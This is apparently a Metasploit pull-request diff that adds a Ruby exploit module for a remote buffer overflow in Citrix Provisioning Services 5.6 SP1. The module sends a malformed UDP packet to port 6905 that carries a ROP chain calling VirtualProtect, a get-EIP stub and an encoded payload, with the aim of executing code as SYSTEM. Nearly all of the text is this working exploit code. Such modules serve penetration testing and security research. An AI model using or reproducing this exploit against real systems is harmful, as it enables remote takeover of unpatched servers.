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Merge pull request #436 from jvazquez-r7/citrix_streamprocess_get_footer
Added module for Citrix Provisioning Services 5.6 SP1
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modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
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include Msf::Exploit::Remote::Udp | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow', | ||
'Description' => %q{ | ||
This module exploits a remote buffer overflow in the Citrix Provisioning Services | ||
5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode | ||
0x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows to execute | ||
code under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP2 | ||
and Windows XP SP3. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author | ||
'juan vazquez' # Metasploit module | ||
], | ||
'Version' => '$Revision: $', | ||
'References' => | ||
[ | ||
['OSVDB', '75780'], | ||
['BID', '49803'], | ||
['URL', 'http://support.citrix.com/article/CTX130846'] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'EXITFUNC' => 'process', | ||
'InitialAutoRunScript' => 'migrate -f', | ||
}, | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00", | ||
'EncoderOptions' => {'BufferRegister'=>'ECX'}, | ||
}, | ||
'Platform' => ['win'], | ||
'Targets' => | ||
[ | ||
[ 'Citrix Provisioning Services 5.6 SP1', | ||
{ | ||
'Offset' => 5596, | ||
'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe | ||
} | ||
] | ||
], | ||
'Privileged' => true, | ||
'DisclosureDate' => 'Nov 04 2011', #CTX130846 creation date | ||
'DefaultTarget' => 0)) | ||
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register_options([Opt::RPORT(6905)], self.class) | ||
end | ||
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def exploit | ||
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packet = "\x02\x00\x02\x40" # DATA MSG | ||
packet << rand_text_alpha_upper(18) | ||
packet << "\x00\x00\x00\x00" # Length | ||
packet << rand_text_alpha_upper(target['Offset']) | ||
packet << [target.ret].pack('V') | ||
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rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe | ||
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rop_gadgets = | ||
[ | ||
0x0045b141, # POP EAX; RETN streamprocess.exe | ||
0x1009a1bc, # VirtualProtect() | ||
0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe | ||
0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe | ||
0x004ad0cf, # POP EBP; RETN streamprocess.exe | ||
0x00455d9d, # PUSH ESP; RETN streamprocess.exe | ||
0x00497f5a, # POP EAX; RETN streamprocess.exe | ||
0xfffff9d0, # dwSize | ||
0x00447669, # NEG EAX; RETN streamprocess.exe | ||
0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe | ||
0x00426305, # POP ECX; RETN streamprocess.exe | ||
0x00671fb9, # lpflOldProtect | ||
0x004e41e6, # POP EDI; RETN streamprocess.exe | ||
0x0040f004, # RETN streamprocess.exe | ||
0x00495c05, # POP EAX; RETN streamprocess.exe | ||
0xffffffc0, # flNewProtect | ||
0x0042c79a, # NEG EAX; RETN streamprocess.exe | ||
0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe | ||
0x0045c1fa, # POP EAX; RETN streamprocess.exe | ||
0x90909090, # NOP | ||
0x00435bbe, # PUSHAD; RETN streamprocess.exe | ||
].pack("V*") | ||
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packet[398, rop_nop.length] = rop_nop | ||
packet[550, rop_gadgets.length] = rop_gadgets | ||
# Put payload address in ecx | ||
geteip = "\xeb\x03" # jmp short 0x5 | ||
geteip << "\x59" # pop ecx | ||
geteip << "\xff\xd1" # call ecx | ||
geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call" | ||
packet[634, 10] = geteip | ||
packet[644, payload.encoded.length] = payload.encoded | ||
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print_status("Trying target #{target.name}...") | ||
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connect_udp | ||
udp_sock.put(packet) | ||
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handler | ||
disconnect_udp | ||
end | ||
end |